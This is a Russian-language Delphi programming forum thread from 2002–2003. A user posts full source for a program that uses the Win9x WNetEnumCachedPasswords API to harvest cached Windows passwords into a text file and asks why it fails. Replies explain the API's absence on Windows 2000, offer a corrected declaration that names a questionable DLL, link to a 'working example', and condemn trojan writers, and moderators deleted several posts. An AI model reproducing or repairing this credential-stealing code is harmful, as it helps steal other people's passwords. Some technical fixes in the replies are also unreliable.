![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Почему
delpher_gray © (2002-12-30 19:38:00)Здарова Мастера !
Вот код проги, которая выдирает кэшированные пароли, и сохраняет их в файле passwords.txt.
Но есть небольшая проблема: ЭТА ПРОГА НЕ РАБОТАЕТ !!!
Немогу понять что тут не так...
Подскажите кто знает плиииззз...
Заранее благодарен !
program PPass;
uses
SysUtils, Classes, Windows, Forms;
type
TMyClass = Class
private
function WnetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: Dword): Word; stdcall;
end;
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
MyClass: TMyClass;
Count: integer;
StrList: TStringList;
function TMyClass.WnetEnumCachedPasswords // Имя функции
(lp: lpStr; //Должен быть NIL
w: Word;// Должен быть 0
b: Byte; // Должен быть $FF
PC: PChar; // Адрес функции, в которую вернутся пароли
dw: DWord): Word; // опять 0
external mpr // Имя DLL файла в котором находится эта функция
name "WNetEnumCachedPasswords"; //Имя функции в DLL файле.
function AddPassword //Имя функции, может быть любым.
(
WinPassword: PWinPassword; //Указатель на структуру WinPassword
dw: Dword //Мы не будем использовать.
): LongBool; stdcall;
var
buffer: Array[0..255] of Char;
str:string;
i:integer;
begin
inc(Count);
Move(WinPassword.PasswordC, buffer, WinPassword.ResourceSize + WinPassword.PasswordSize);
for i := 0 to WinPassword.ResourceSize -1 do
if buffer[i] > chr(31) then str:=str + buffer[i];
str := str+" : ";
for i := WinPassword.ResourceSize to WinPassword.ResourceSize+WinPassword.PasswordSize-1 do
if buffer[i] > chr(31) then str:=str + buffer[i];
Result := True;
StrList.Add(str);
StrList.SaveToFile("passwords.txt");;
end;
begin
MyClass := TMyClass.Create;
if MyClass.WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.Terminate;
end;
MyClass.Free;
end.
Севостьянов Игорь (2003-01-04 12:44:00) [1]В W2k нет кешируемых паролей - ОС более высокого уровня нежели Win9x
Действительно (2003-01-04 04:47:00) [2]Удалено модератором
Fantasist (2003-01-03 23:48:00) [3]Удалено модератором
Примечание: Уважаемый, Fantasist! Такими постами Вы толкаете людей на ответы, которые в контексте данного вопроса совсем не нужны.
Programist21 (2003-01-03 21:12:00) [4]Пусть этот "хакер" ищет решение проблемы сам!
smok_er (2003-01-03 20:42:00) [5]сорри, не обратил внимание на заголовок статьи
"Как получить закэшированные пароли в Win9x"
smok_er (2003-01-03 20:37:00) [6]неа, не работает :(
"Точка входа в процедуру WNetEnumCashedPasswords не найдена в библиотеке DLL mpr.dll"
P.S. win2k SP 3, IE 6.0
Maksss (2003-01-03 20:07:00) [7]www.sources.ru\delphi\system\get_cached_passwords.shtml
там рабочий пример!!
dkDimon (2003-01-03 13:44:00) [8]Удалено модератором
Примечание: Аналогично..
freeek (2003-01-03 10:37:00) [9]потому что например в win2000 такой функции нет.
?! (2003-01-03 10:27:00) [10]Удалено модератором
Примечание: Плохие слова..
ZLOST (2003-01-03 07:02:00) [11]Ты же не указал откуда берется функция netenumchachedpasswords!
Когда объявляешь в классе функию напиши:
type
TMyClass = Class
private
function WnetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: Dword): Word; stdcall; external "mpr32.dll" name "WNetEnumCachedPasswords";
end;
Моджахед (2003-01-03 02:17:00) [12]Обратитесь к тому человеку, хоторый вам эту функцию дал ;)
Chlavik (2003-01-03 00:17:00) [13]А что тут не работает?? :-)))))))) С новым ГОДОМ!!!
Fantasist (2003-01-02 22:35:00) [14]Удалено модератором
Примечание: Зачем эмоции?
BlackTiger (2003-01-02 14:40:00) [15]Не то, чтобы не знает...
Просто ДОСТАЛИ УЖЕ ЭТИ ЗАПАДЛО- ВИРУСО- ТРОЯНО-СТРОИТЕЛИ, БЛИН!!!
delpher_gray (2003-01-02 11:52:00) [16]Никто не знает ?